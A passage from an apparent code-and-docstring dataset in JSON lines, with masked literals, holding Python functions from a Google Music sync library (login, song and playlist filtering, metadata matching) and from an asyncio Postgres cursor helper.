<http://support.google.com/googleplay/bin/answer.py?hl=en&answer=2920799&topic=2450455>`__.\n                        This requieres ffmpeg or avconv.\n\n                transcode_quality (str or int): If int, pass to ffmpeg/avconv ``-q:a`` for libmp3lame `VBR quality\n                        <http://trac.ffmpeg.org/wiki/Encode/MP3#VBREncoding>'__.\n                        If string, pass to ffmpeg/avconv ``-b:a`` for libmp3lame `CBR quality\n                        <http://trac.ffmpeg.org/wiki/Encode/MP3#CBREncoding>'__.\n                        Default: ``320k``\n\n                delete_on_success (bool): Delete successfully uploaded local files. Default: ``False``\n\n        Returns:\n                A list of result dictionaries.\n                ::\n\n                        [\n                                {'result': 'uploaded', 'filepath': <filepath>, 'id': <song_id>},  # uploaded\n                                {'result': 'matched', 'filepath': <filepath>, 'id': <song_id>},  # matched\n                                {'result': 'error', 'filepath': <filepath>, 'message': <error_message>},  # error\n                                {'result': 'not_uploaded', 'filepath': <filepath>, 'id': <song_id>, 'message': <reason_message>},  # not_uploaded ALREADY_EXISTS\n                                {'result': 'not_uploaded', 'filepath': <filepath>, 'message': <reason_message>}  # not_uploaded\n                        ]", "id": "f33:c0:m7"}
{"signature": "def login(self, username=None, password=None, android_id=None):", "body": "cls_name = type(self).__name__<EOL>if username is None:<EOL><INDENT>username = input(\"<STR_LIT>\")<EOL><DEDENT>if password is None:<EOL><INDENT>password = getpass.getpass(\"<STR_LIT>\")<EOL><DEDENT>if android_id is None:<EOL><INDENT>android_id = Mobileclient.FROM_MAC_ADDRESS<EOL><DEDENT>try:<EOL><INDENT>self.api.login(username, password, android_id)<EOL><DEDENT>except OSError:<EOL><INDENT>logger.exception(\"<STR_LIT>\".format(cls_name))<EOL><DEDENT>if not self.is_authenticated:<EOL><INDENT>logger.warning(\"<STR_LIT>\".format(cls_name))<EOL>return False<EOL><DEDENT>logger.info(\"<STR_LIT>\".format(cls_name))<EOL>return True<EOL>", "docstring": "Authenticate the gmusicapi Mobileclient instance.\n\n        Parameters:\n                username (Optional[str]): Your Google Music username. Will be prompted if not given.\n\n                password (Optional[str]): Your Google Music password. Will be prompted if not given.\n\n                android_id (Optional[str]): The 16 hex digits from an Android device ID.\n                        Default: Use gmusicapi.Mobileclient.FROM_MAC_ADDRESS to create ID from computer's MAC address.\n\n        Returns:\n                ``True`` on successful login or ``False`` on unsuccessful login.", "id": "f35:c0:m1"}
{"signature": "def logout(self):", "body": "return self.api.logout()<EOL>", "docstring": "Log out the gmusicapi Mobileclient instance.\n\n        Returns:\n                ``True`` on success.", "id": "f35:c0:m2"}
{"signature": "@property<EOL><INDENT>def is_subscribed(self):<DEDENT>", "body": "return self.api.is_subscribed<EOL>", "docstring": "Check the subscription status of the gmusicapi client instance.\n\n        Returns:\n                ``True`` if subscribed, ``False`` if not.", "id": "f35:c0:m3"}
{"signature": "def get_google_songs(self, include_filters=None, exclude_filters=None, all_includes=False, all_excludes=False):", "body": "logger.info(\"<STR_LIT>\")<EOL>google_songs = self.api.get_all_songs()<EOL>matched_songs, filtered_songs = filter_google_songs(<EOL>google_songs, include_filters=include_filters, exclude_filters=exclude_filters,<EOL>all_includes=all_includes, all_excludes=all_excludes<EOL>)<EOL>logger.info(\"<STR_LIT>\".format(len(filtered_songs)))<EOL>logger.info(\"<STR_LIT>\".format(len(matched_songs)))<EOL>return matched_songs, filtered_songs<EOL>", "docstring": "Create song list from user's Google Music library.\n\n        Parameters:\n                include_filters (list): A list of ``(field, pattern)`` tuples.\n                        Fields are any valid Google Music metadata field available to the Mobileclient client.\n                        Patterns are Python regex patterns.\n                        Google Music songs are filtered out if the given metadata field values don't match any of the given patterns.\n\n                exclude_filters (list): A list of ``(field, pattern)`` tuples.\n                        Fields are any valid Google Music metadata field available to the Mobileclient client.\n                        Patterns are Python regex patterns.\n                        Google Music songs are filtered out if the given metadata field values match any of the given patterns.\n\n                all_includes (bool): If ``True``, all include_filters criteria must match to include a song.\n\n                all_excludes (bool): If ``True``, all exclude_filters criteria must match to exclude a song.\n\n        Returns:\n                A list of Google Music song dicts matching criteria and\n                a list of Google Music song dicts filtered out using filter criteria.", "id": "f35:c0:m4"}
{"signature": "def get_google_playlist(self, playlist):", "body": "logger.info(\"<STR_LIT>\".format(playlist))<EOL>for google_playlist in self.api.get_all_user_playlist_contents():<EOL><INDENT>if google_playlist['<STR_LIT:name>'] == playlist or google_playlist['<STR_LIT:id>'] == playlist:<EOL><INDENT>return google_playlist<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logger.warning(\"<STR_LIT>\".format(playlist))<EOL>return {}<EOL><DEDENT>", "docstring": "Get playlist information of a user-generated Google Music playlist.\n\n        Parameters:\n                playlist (str): Name or ID of Google Music playlist. Names are case-sensitive.\n                        Google allows multiple playlists with the same name.\n                        If multiple playlists have the same name, the first one encountered is used.\n\n        Returns:\n                dict: The playlist dict as returned by Mobileclient.get_all_user_playlist_contents.", "id": "f35:c0:m5"}
{"signature": "def get_google_playlist_songs(self, playlist, include_filters=None, exclude_filters=None, all_includes=False, all_excludes=False):", "body": "logger.info(\"<STR_LIT>\")<EOL>google_playlist = self.get_google_playlist(playlist)<EOL>if not google_playlist:<EOL><INDENT>return [], []<EOL><DEDENT>playlist_song_ids = [track['<STR_LIT>'] for track in google_playlist['<STR_LIT>']]<EOL>playlist_songs = [song for song in self.api.get_all_songs() if song['<STR_LIT:id>'] in playlist_song_ids]<EOL>matched_songs, filtered_songs = filter_google_songs(<EOL>playlist_songs, include_filters=include_filters, exclude_filters=exclude_filters,<EOL>all_includes=all_includes, all_excludes=all_excludes<EOL>)<EOL>logger.info(\"<STR_LIT>\".format(len(filtered_songs)))<EOL>logger.info(\"<STR_LIT>\".format(len(matched_songs)))<EOL>return matched_songs, filtered_songs<EOL>", "docstring": "Create song list from a user-generated Google Music playlist.\n\n        Parameters:\n                playlist (str): Name or ID of Google Music playlist. Names are case-sensitive.\n                        Google allows multiple playlists with the same name.\n                        If multiple playlists have the same name, the first one encountered is used.\n\n                include_filters (list): A list of ``(field, pattern)`` tuples.\n                        Fields are any valid Google Music metadata field available to the Musicmanager client.\n                        Patterns are Python regex patterns.\n                        Google Music songs are filtered out if the given metadata field values don't match any of the given patterns.\n\n                exclude_filters (list): A list of ``(field, pattern)`` tuples.\n                        Fields are any valid Google Music metadata field available to the Musicmanager client.\n                        Patterns are Python regex patterns.\n                        Google Music songs are filtered out if the given metadata field values match any of the given patterns.\n\n                all_includes (bool): If ``True``, all include_filters criteria must match to include a song.\n\n                all_excludes (bool): If ``True``, all exclude_filters criteria must match to exclude a song.\n\n        Returns:\n                A list of Google Music song dicts in the playlist matching criteria and\n                a list of Google Music song dicts in the playlist filtered out using filter criteria.", "id": "f35:c0:m6"}
{"signature": "@property<EOL><INDENT>def is_authenticated(self):<DEDENT>", "body": "return self.api.is_authenticated()<EOL>", "docstring": "Check the authentication status of the gmusicapi client instance.\n\n        Returns:\n                ``True`` if authenticated, ``False`` if not.", "id": "f36:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>@cast_to_list(<NUM_LIT:0>)<EOL>def get_local_songs(<EOL>filepaths, include_filters=None, exclude_filters=None, all_includes=False, all_excludes=False,<EOL>exclude_patterns=None, max_depth=float('<STR_LIT>')):<DEDENT>", "body": "logger.info(\"<STR_LIT>\")<EOL>supported_filepaths = get_supported_filepaths(filepaths, SUPPORTED_SONG_FORMATS, max_depth=max_depth)<EOL>included_songs, excluded_songs = exclude_filepaths(supported_filepaths, exclude_patterns=exclude_patterns)<EOL>matched_songs, filtered_songs = filter_local_songs(<EOL>included_songs, include_filters=include_filters, exclude_filters=exclude_filters,<EOL>all_includes=all_includes, all_excludes=all_excludes<EOL>)<EOL>logger.info(\"<STR_LIT>\".format(len(excluded_songs)))<EOL>logger.info(\"<STR_LIT>\".format(len(filtered_songs)))<EOL>logger.info(\"<STR_LIT>\".format(len(matched_songs)))<EOL>return matched_songs, filtered_songs, excluded_songs<EOL>", "docstring": "Load songs from local filepaths.\n\n        Parameters:\n                filepaths (list or str): Filepath(s) to search for music files.\n\n                include_filters (list): A list of ``(field, pattern)`` tuples.\n                        Fields are any valid mutagen metadata fields. Patterns are Python regex patterns.\n                        Local songs are filtered out if the given metadata field values don't match any of the given patterns.\n\n                exclude_filters (list): A list of ``(field, pattern)`` tuples.\n                        Fields are any valid mutagen metadata fields. Patterns are Python regex patterns.\n                        Local songs are filtered out if the given metadata field values match any of the given patterns.\n\n                all_includes (bool): If ``True``, all include_filters criteria must match to include a song.\n\n                all_excludes (bool): If ``True``, all exclude_filters criteria must match to exclude a song.\n\n                exclude_patterns (list or str): Pattern(s) to exclude.\n                        Patterns are Python regex patterns.\n                        Filepaths are excluded if they match any of the exclude patterns.\n\n                max_depth (int): The depth in the directory tree to walk.\n                        A depth of '0' limits the walk to the top directory.\n                        Default: No limit.\n\n        Returns:\n                A list of local song filepaths matching criteria,\n                a list of local song filepaths filtered out using filter criteria,\n                and a list of local song filepaths excluded using exclusion criteria.", "id": "f36:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>@cast_to_list(<NUM_LIT:0>)<EOL>def get_local_playlists(filepaths, exclude_patterns=None, max_depth=float('<STR_LIT>')):<DEDENT>", "body": "logger.info(\"<STR_LIT>\")<EOL>included_playlists = []<EOL>excluded_playlists = []<EOL>supported_filepaths = get_supported_filepaths(filepaths, SUPPORTED_PLAYLIST_FORMATS, max_depth=max_depth)<EOL>included_playlists, excluded_playlists = exclude_filepaths(supported_filepaths, exclude_patterns=exclude_patterns)<EOL>logger.info(\"<STR_LIT>\".format(len(excluded_playlists)))<EOL>logger.info(\"<STR_LIT>\".format(len(included_playlists)))<EOL>return included_playlists, excluded_playlists<EOL>", "docstring": "Load playlists from local filepaths.\n\n        Parameters:\n                filepaths (list or str): Filepath(s) to search for music files.\n\n                exclude_patterns (list or str): Pattern(s) to exclude.\n                        Patterns are Python regex patterns.\n                        Filepaths are excluded if they match any of the exclude patterns.\n\n                max_depth (int): The depth in the directory tree to walk.\n                        A depth of '0' limits the walk to the top directory.\n                        Default: No limit.\n\n        Returns:\n                A list of local playlist filepaths matching criteria\n                and a list of local playlist filepaths excluded using exclusion criteria.", "id": "f36:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def get_local_playlist_songs(<EOL>playlist, include_filters=None, exclude_filters=None,<EOL>all_includes=False, all_excludes=False, exclude_patterns=None):<DEDENT>", "body": "logger.info(\"<STR_LIT>\")<EOL>if os.name == '<STR_LIT>' and CYGPATH_RE.match(playlist):<EOL><INDENT>playlist = convert_cygwin_path(playlist)<EOL><DEDENT>filepaths = []<EOL>base_filepath = os.path.dirname(os.path.abspath(playlist))<EOL>with open(playlist) as local_playlist:<EOL><INDENT>for line in local_playlist.readlines():<EOL><INDENT>line = line.strip()<EOL>if line.lower().endswith(SUPPORTED_SONG_FORMATS):<EOL><INDENT>path = line<EOL>if not os.path.isabs(path):<EOL><INDENT>path = os.path.join(base_filepath, path)<EOL><DEDENT>if os.path.isfile(path):<EOL><INDENT>filepaths.append(path)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>supported_filepaths = get_supported_filepaths(filepaths, SUPPORTED_SONG_FORMATS)<EOL>included_songs, excluded_songs = exclude_filepaths(supported_filepaths, exclude_patterns=exclude_patterns)<EOL>matched_songs, filtered_songs = filter_local_songs(<EOL>included_songs, include_filters=include_filters, exclude_filters=exclude_filters,<EOL>all_includes=all_includes, all_excludes=all_excludes<EOL>)<EOL>logger.info(\"<STR_LIT>\".format(len(excluded_songs)))<EOL>logger.info(\"<STR_LIT>\".format(len(filtered_songs)))<EOL>logger.info(\"<STR_LIT>\".format(len(matched_songs)))<EOL>return matched_songs, filtered_songs, excluded_songs<EOL>", "docstring": "Load songs from local playlist.\n\n        Parameters:\n                playlist (str): An M3U(8) playlist filepath.\n\n                include_filters (list): A list of ``(field, pattern)`` tuples.\n                        Fields are any valid mutagen metadata fields. Patterns are Python regex patterns.\n                        Local songs are filtered out if the given metadata field values don't match any of the given patterns.\n\n                exclude_filters (list): A list of ``(field, pattern)`` tuples.\n                        Fields are any valid mutagen metadata fields. Patterns are Python regex patterns.\n                        Local songs are filtered out if the given metadata field values match any of the given patterns.\n\n                all_includes (bool): If ``True``, all include_filters criteria must match to include a song.\n\n                all_excludes (bool): If ``True``, all exclude_filters criteria must match to exclude a song.\n\n                exclude_patterns (list or str): Pattern(s) to exclude.\n                        Patterns are Python regex patterns.\n                        Filepaths are excluded if they match any of the exclude patterns.\n\n        Returns:\n                A list of local playlist song filepaths matching criteria,\n                a list of local playlist song filepaths filtered out using filter criteria,\n                and a list of local playlist song filepaths excluded using exclusion criteria.", "id": "f36:c0:m4"}
{"signature": "def convert_cygwin_path(path):", "body": "try:<EOL><INDENT>win_path = subprocess.check_output([\"<STR_LIT>\", \"<STR_LIT>\", path], universal_newlines=True).strip()<EOL><DEDENT>except (FileNotFoundError, subprocess.CalledProcessError):<EOL><INDENT>logger.exception(\"<STR_LIT>\")<EOL>raise<EOL><DEDENT>return win_path<EOL>", "docstring": "Convert Unix path from Cygwin to Windows path.", "id": "f38:m0"}
{"signature": "def _get_mutagen_metadata(filepath):", "body": "try:<EOL><INDENT>metadata = mutagen.File(filepath, easy=True)<EOL><DEDENT>except mutagen.MutagenError:<EOL><INDENT>logger.warning(\"<STR_LIT>\".format(filepath))<EOL>raise<EOL><DEDENT>return metadata<EOL>", "docstring": "Get mutagen metadata dict from a file.", "id": "f38:m1"}
{"signature": "def _mutagen_fields_to_single_value(metadata):", "body": "return dict((k, v[<NUM_LIT:0>]) for k, v in metadata.items() if v)<EOL>", "docstring": "Replace mutagen metadata field list values in mutagen tags with the first list value.", "id": "f38:m2"}
{"signature": "def _split_field_to_single_value(field):", "body": "split_field = re.match(r'<STR_LIT>', field)<EOL>return split_field.group(<NUM_LIT:1>) or field<EOL>", "docstring": "Convert number field values split by a '/' to a single number value.", "id": "f38:m3"}
{"signature": "def _filter_comparison_fields(song):", "body": "<EOL>return [field for field in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT:title>', '<STR_LIT>', '<STR_LIT>'] if field in song and song[field]]<EOL>", "docstring": "Filter missing artist, album, title, or track fields to improve match accuracy.", "id": "f38:m4"}
{"signature": "def _normalize_metadata(metadata):", "body": "metadata = str(metadata)<EOL>metadata = metadata.lower()<EOL>metadata = re.sub(r'<STR_LIT>', '<STR_LIT>', metadata)  <EOL>metadata = re.sub(r'<STR_LIT>', r'<STR_LIT>', metadata)  <EOL>metadata = re.sub(r'<STR_LIT>', '<STR_LIT>', metadata)  <EOL>metadata = re.sub(r'<STR_LIT>', '<STR_LIT>', metadata)  <EOL>metadata = re.sub(r'<STR_LIT>', '<STR_LIT:U+0020>', metadata)  <EOL>metadata = re.sub(r'<STR_LIT>', '<STR_LIT>', metadata)  <EOL>metadata = re.sub(r'<STR_LIT>', '<STR_LIT>', metadata)  <EOL>metadata = re.sub(r'<STR_LIT>', '<STR_LIT>', metadata, re.I)  <EOL>return metadata<EOL>", "docstring": "Normalize metadata to improve match accuracy.", "id": "f38:m5"}
{"signature": "def _normalize_song(song):", "body": "return song if isinstance(song, dict) else _mutagen_fields_to_single_value(_get_mutagen_metadata(song))<EOL>", "docstring": "Convert filepath to song dict while leaving song dicts untouched.", "id": "f38:m6"}
{"signature": "def compare_song_collections(src_songs, dst_songs):", "body": "def gather_field_values(song):<EOL><INDENT>return tuple((_normalize_metadata(song[field]) for field in _filter_comparison_fields(song)))<EOL><DEDENT>dst_songs_criteria = {gather_field_values(_normalize_song(dst_song)) for dst_song in dst_songs}<EOL>return [src_song for src_song in src_songs if gather_field_values(_normalize_song(src_song)) not in dst_songs_criteria]<EOL>", "docstring": "Compare two song collections to find missing songs.\n\n    Parameters:\n            src_songs (list): Google Music song dicts or filepaths of local songs.\n\n            dest_songs (list): Google Music song dicts or filepaths of local songs.\n\n    Returns:\n            A list of Google Music song dicts or local song filepaths from source missing in destination.", "id": "f38:m7"}
{"signature": "@cast_to_list(<NUM_LIT:0>)<EOL>def get_supported_filepaths(filepaths, supported_extensions, max_depth=float('<STR_LIT>')):", "body": "supported_filepaths = []<EOL>for path in filepaths:<EOL><INDENT>if os.name == '<STR_LIT>' and CYGPATH_RE.match(path):<EOL><INDENT>path = convert_cygwin_path(path)<EOL><DEDENT>if os.path.isdir(path):<EOL><INDENT>for root, __, files in walk_depth(path, max_depth):<EOL><INDENT>for f in files:<EOL><INDENT>if f.lower().endswith(supported_extensions):<EOL><INDENT>supported_filepaths.append(os.path.join(root, f))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif os.path.isfile(path) and path.lower().endswith(supported_extensions):<EOL><INDENT>supported_filepaths.append(path)<EOL><DEDENT><DEDENT>return supported_filepaths<EOL>", "docstring": "Get filepaths with supported extensions from given filepaths.\n\n    Parameters:\n            filepaths (list or str): Filepath(s) to check.\n\n            supported_extensions (tuple or str): Supported file extensions or a single file extension.\n\n            max_depth (int): The depth in the directory tree to walk.\n                    A depth of '0' limits the walk to the top directory.\n                    Default: No limit.\n\n    Returns:\n            A list of supported filepaths.", "id": "f38:m8"}
{"signature": "@cast_to_list(<NUM_LIT:0>)<EOL>def exclude_filepaths(filepaths, exclude_patterns=None):", "body": "if not exclude_patterns:<EOL><INDENT>return filepaths, []<EOL><DEDENT>exclude_re = re.compile(\"<STR_LIT:|>\".join(pattern for pattern in exclude_patterns))<EOL>included_songs = []<EOL>excluded_songs = []<EOL>for filepath in filepaths:<EOL><INDENT>if exclude_patterns and exclude_re.search(filepath):<EOL><INDENT>excluded_songs.append(filepath)<EOL><DEDENT>else:<EOL><INDENT>included_songs.append(filepath)<EOL><DEDENT><DEDENT>return included_songs, excluded_songs<EOL>", "docstring": "Exclude file paths based on regex patterns.\n\n    Parameters:\n            filepaths (list or str): Filepath(s) to check.\n\n            exclude_patterns (list): Python regex patterns to check filepaths against.\n\n    Returns:\n            A list of filepaths to include and a list of filepaths to exclude.", "id": "f38:m9"}
{"signature": "def _check_field_value(field_value, pattern):", "body": "if isinstance(field_value, list):<EOL><INDENT>return any(re.search(pattern, str(value), re.I) for value in field_value)<EOL><DEDENT>else:<EOL><INDENT>return re.search(pattern, str(field_value), re.I)<EOL><DEDENT>", "docstring": "Check a song metadata field value for a pattern.", "id": "f38:m10"}
{"signature": "def _check_filters(song, include_filters=None, exclude_filters=None, all_includes=False, all_excludes=False):", "body": "include = True<EOL>if include_filters:<EOL><INDENT>if all_includes:<EOL><INDENT>if not all(field in song and _check_field_value(song[field], pattern) for field, pattern in include_filters):<EOL><INDENT>include = False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not any(field in song and _check_field_value(song[field], pattern) for field, pattern in include_filters):<EOL><INDENT>include = False<EOL><DEDENT><DEDENT><DEDENT>if exclude_filters:<EOL><INDENT>if all_excludes:<EOL><INDENT>if all(field in song and _check_field_value(song[field], pattern) for field, pattern in exclude_filters):<EOL><INDENT>include = False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if any(field in song and _check_field_value(song[field], pattern) for field, pattern in exclude_filters):<EOL><INDENT>include = False<EOL><DEDENT><DEDENT><DEDENT>return include<EOL>", "docstring": "Check a song metadata dict against a set of metadata filters.", "id": "f38:m11"}
{"signature": "def filter_google_songs(songs, include_filters=None, exclude_filters=None, all_includes=False, all_excludes=False):", "body": "matched_songs = []<EOL>filtered_songs = []<EOL>if include_filters or exclude_filters:<EOL><INDENT>for song in songs:<EOL><INDENT>if _check_filters(<EOL>song, include_filters=include_filters, exclude_filters=exclude_filters,<EOL>all_includes=all_includes, all_excludes=all_excludes):<EOL><INDENT>matched_songs.append(song)<EOL><DEDENT>else:<EOL><INDENT>filtered_songs.append(song)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>matched_songs += songs<EOL><DEDENT>return matched_songs, filtered_songs<EOL>", "docstring": "Match a Google Music song dict against a set of metadata filters.\n\n    Parameters:\n            songs (list): Google Music song dicts to filter.\n\n            include_filters (list): A list of ``(field, pattern)`` tuples.\n                    Fields are any valid Google Music metadata field available to the Musicmanager client.\n                    Patterns are Python regex patterns.\n                    Google Music songs are filtered out if the given metadata field values don't match any of the given patterns.\n\n            exclude_filters (list): A list of ``(field, pattern)`` tuples.\n                    Fields are any valid Google Music metadata field available to the Musicmanager client.\n                    Patterns are Python regex patterns.\n                    Google Music songs are filtered out if the given metadata field values match any of the given patterns.\n\n            all_includes (bool): If ``True``, all include_filters criteria must match to include a song.\n\n            all_excludes (bool): If ``True``, all exclude_filters criteria must match to exclude a song.\n\n    Returns:\n            A list of Google Music song dicts matching criteria and\n            a list of Google Music song dicts filtered out using filter criteria.\n            ::\n\n                    (matched, filtered)", "id": "f38:m12"}
{"signature": "def filter_local_songs(filepaths, include_filters=None, exclude_filters=None, all_includes=False, all_excludes=False):", "body": "matched_songs = []<EOL>filtered_songs = []<EOL>for filepath in filepaths:<EOL><INDENT>try:<EOL><INDENT>song = _get_mutagen_metadata(filepath)<EOL><DEDENT>except mutagen.MutagenError:<EOL><INDENT>filtered_songs.append(filepath)<EOL><DEDENT>else:<EOL><INDENT>if include_filters or exclude_filters:<EOL><INDENT>if _check_filters(<EOL>song, include_filters=include_filters, exclude_filters=exclude_filters,<EOL>all_includes=all_includes, all_excludes=all_excludes):<EOL><INDENT>matched_songs.append(filepath)<EOL><DEDENT>else:<EOL><INDENT>filtered_songs.append(filepath)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>matched_songs.append(filepath)<EOL><DEDENT><DEDENT><DEDENT>return matched_songs, filtered_songs<EOL>", "docstring": "Match a local file against a set of metadata filters.\n\n    Parameters:\n            filepaths (list): Filepaths to filter.\n\n            include_filters (list): A list of ``(field, pattern)`` tuples.\n                    Fields are any valid mutagen metadata fields.\n                    Patterns are Python regex patterns.\n                    Local songs are filtered out if the given metadata field values don't match any of the given patterns.\n\n            exclude_filters (list): A list of ``(field, pattern)`` tuples.\n                    Fields are any valid mutagen metadata fields.\n                    Patterns are Python regex patterns.\n                    Local songs are filtered out if the given metadata field values match any of the given patterns.\n\n            all_includes (bool): If ``True``, all include_filters criteria must match to include a song.\n\n            all_excludes (bool): If ``True``, all exclude_filters criteria must match to exclude a song.\n\n    Returns:\n            A list of local song filepaths matching criteria and\n            a list of local song filepaths filtered out using filter criteria.\n            Invalid music files are also filtered out.\n            ::\n\n                    (matched, filtered)", "id": "f38:m13"}
{"signature": "def get_suggested_filename(metadata):", "body": "if metadata.get('<STR_LIT:title>') and metadata.get('<STR_LIT>'):<EOL><INDENT>suggested_filename = '<STR_LIT>'.format(**metadata)<EOL><DEDENT>elif metadata.get('<STR_LIT:title>') and metadata.get('<STR_LIT>'):<EOL><INDENT>suggested_filename = '<STR_LIT>'.format(**metadata)<EOL><DEDENT>elif metadata.get('<STR_LIT:title>') and metadata.get('<STR_LIT>'):<EOL><INDENT>suggested_filename = '<STR_LIT>'.format(**metadata)<EOL><DEDENT>else:<EOL><INDENT>suggested_filename = '<STR_LIT>'.format(metadata.get('<STR_LIT:title>', '<STR_LIT>'))<EOL><DEDENT>return suggested_filename<EOL>", "docstring": "Generate a filename for a song based on metadata.\n\n    Parameters:\n            metadata (dict): A metadata dict.\n\n    Returns:\n            A filename.", "id": "f38:m14"}
{"signature": "def template_to_filepath(template, metadata, template_patterns=None):", "body": "if template_patterns is None:<EOL><INDENT>template_patterns = TEMPLATE_PATTERNS<EOL><DEDENT>metadata = metadata if isinstance(metadata, dict) else _mutagen_fields_to_single_value(metadata)<EOL>assert isinstance(metadata, dict)<EOL>suggested_filename = get_suggested_filename(metadata).replace('<STR_LIT>', '<STR_LIT>')<EOL>if template == os.getcwd() or template == '<STR_LIT>':<EOL><INDENT>filepath = suggested_filename<EOL><DEDENT>else:<EOL><INDENT>t = template.replace('<STR_LIT>', suggested_filename)<EOL>filepath = _replace_template_patterns(t, metadata, template_patterns)<EOL><DEDENT>return filepath<EOL>", "docstring": "Create directory structure and file name based on metadata template.\n\n    Parameters:\n            template (str): A filepath which can include template patterns as defined by :param template_patterns:.\n\n            metadata (dict): A metadata dict.\n\n            template_patterns (dict): A dict of ``pattern: field`` pairs used to replace patterns with metadata field values.\n                    Default: :const TEMPLATE_PATTERNS:\n\n    Returns:\n            A filepath.", "id": "f38:m16"}
{"signature": "def walk_depth(path, max_depth=float('<STR_LIT>')):", "body": "start_level = os.path.abspath(path).count(os.path.sep)<EOL>for dir_entry in os.walk(path):<EOL><INDENT>root, dirs, _ = dir_entry<EOL>level = root.count(os.path.sep) - start_level<EOL>yield dir_entry<EOL>if level >= max_depth:<EOL><INDENT>dirs[:] = []<EOL><DEDENT><DEDENT>", "docstring": "Walk a directory tree with configurable depth.\n\n    Parameters:\n            path (str): A directory path to walk.\n\n            max_depth (int): The depth in the directory tree to walk.\n                    A depth of '0' limits the walk to the top directory.\n                    Default: No limit.", "id": "f38:m17"}
{"signature": "def cast_to_list(position):", "body": "@wrapt.decorator<EOL>def wrapper(function, instance, args, kwargs):<EOL><INDENT>if not isinstance(args[position], list):<EOL><INDENT>args = list(args)<EOL>args[position] = [args[position]]<EOL>args = tuple(args)<EOL><DEDENT>return function(*args, **kwargs)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Cast the positional argument at given position into a list if not already a list.", "id": "f39:m0"}
{"signature": "def dict_cursor(func):", "body": "@wraps(func)<EOL>def wrapper(cls, *args, **kwargs):<EOL><INDENT>with (yield from cls.get_cursor(_CursorType.DICT)) as c:<EOL><INDENT>return (yield from func(cls, c, *args, **kwargs))<EOL><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "Decorator that provides a dictionary cursor to the calling function\n\nAdds the cursor as the second argument to the calling functions\n\nRequires that the function being decorated is an instance of a class or object\nthat yields a cursor from a get_cursor(cursor_type=CursorType.DICT) coroutine or provides such an object\nas the first argument in its signature\n\nYields:\n    A client-side dictionary cursor", "id": "f41:m0"}
{"signature": "def cursor(func):", "body": "@wraps(func)<EOL>def wrapper(cls, *args, **kwargs):<EOL><INDENT>with (yield from cls.get_cursor()) as c:<EOL><INDENT>return (yield from func(cls, c, *args, **kwargs))<EOL><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "Decorator that provides a cursor to the calling function\n\nAdds the cursor as the second argument to the calling functions\n\nRequires that the function being decorated is an instance of a class or object\nthat yields a cursor from a get_cursor() coroutine or provides such an object\nas the first argument in its signature\n\nYields:\n    A client-side cursor", "id": "f41:m1"}
{"signature": "def nt_cursor(func):", "body": "@wraps(func)<EOL>def wrapper(cls, *args, **kwargs):<EOL><INDENT>with (yield from cls.get_cursor(_CursorType.NAMEDTUPLE)) as c:<EOL><INDENT>return (yield from func(cls, c, *args, **kwargs))<EOL><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "Decorator that provides a namedtuple cursor to the calling function\n\nAdds the cursor as the second argument to the calling functions\n\nRequires that the function being decorated is an instance of a class or object\nthat yields a cursor from a get_cursor(cursor_type=CursorType.NAMEDTUPLE) coroutine or provides such an object\nas the first argument in its signature\n\nYields:\n    A client-side namedtuple cursor", "id": "f41:m2"}
{"signature": "def transaction(func):", "body": "@wraps(func)<EOL>def wrapper(cls, *args, **kwargs):<EOL><INDENT>with (yield from cls.get_cursor(_CursorType.NAMEDTUPLE)) as c:<EOL><INDENT>try:<EOL><INDENT>yield from c.execute('<STR_LIT>')<EOL>result = (yield from func(cls, c, *args, **kwargs))<EOL><DEDENT>except Exception:<EOL><INDENT>yield from c.execute('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>yield from c.execute('<STR_LIT>')<EOL>return result<EOL><DEDENT><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "Provides a transacted cursor which will run in autocommit=false mode\n\nFor any exception the transaction will be rolled back.\nRequires that the function being decorated is an instance of a class or object\nthat yields a cursor from a get_cursor(cursor_type=CursorType.NAMEDTUPLE) coroutine or provides such an object\nas the first argument in its signature\n\nYields:\n    A client-side transacted named cursor", "id": "f41:m3"}
{"signature": "@classmethod<EOL><INDENT>def connect(cls, database: str, user: str, password: str, host: str, port: int, *, use_pool: bool=True,<EOL>enable_ssl: bool=False, minsize=<NUM_LIT:1>, maxsize=<NUM_LIT:50>, keepalives_idle=<NUM_LIT:5>, keepalives_interval=<NUM_LIT:4>, echo=False,<EOL>**kwargs):<DEDENT>", "body": "cls._connection_params['<STR_LIT>'] = database<EOL>cls._connection_params['<STR_LIT:user>'] = user<EOL>cls._connection_params['<STR_LIT:password>'] = password<EOL>cls._connection_params['<STR_LIT:host>'] = host<EOL>cls._connection_params['<STR_LIT:port>'] = port<EOL>cls._connection_params['<STR_LIT>'] = '<STR_LIT>' if enable_ssl else '<STR_LIT>'<EOL>cls._connection_params['<STR_LIT>'] = minsize<EOL>cls._connection_params['<STR_LIT>'] = maxsize<EOL>cls._connection_params['<STR_LIT>'] = keepalives_idle<EOL>cls._connection_params['<STR_LIT>'] = keepalives_interval<EOL>cls._connection_params['<STR_LIT>'] = echo<EOL>cls._connection_params.update(kwargs)<EOL>cls._use_pool = use_pool<EOL>", "docstring": "Sets connection parameters\nFor more information on the parameters that is accepts,\nsee : http://www.postgresql.org/docs/9.2/static/libpq-connect.html", "id": "f41:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def use_pool(cls, pool: Pool):<DEDENT>", "body": "cls._pool = pool<EOL>", "docstring": "Sets an existing connection pool instead of using connect() to make one", "id": "f41:c0:m1"}
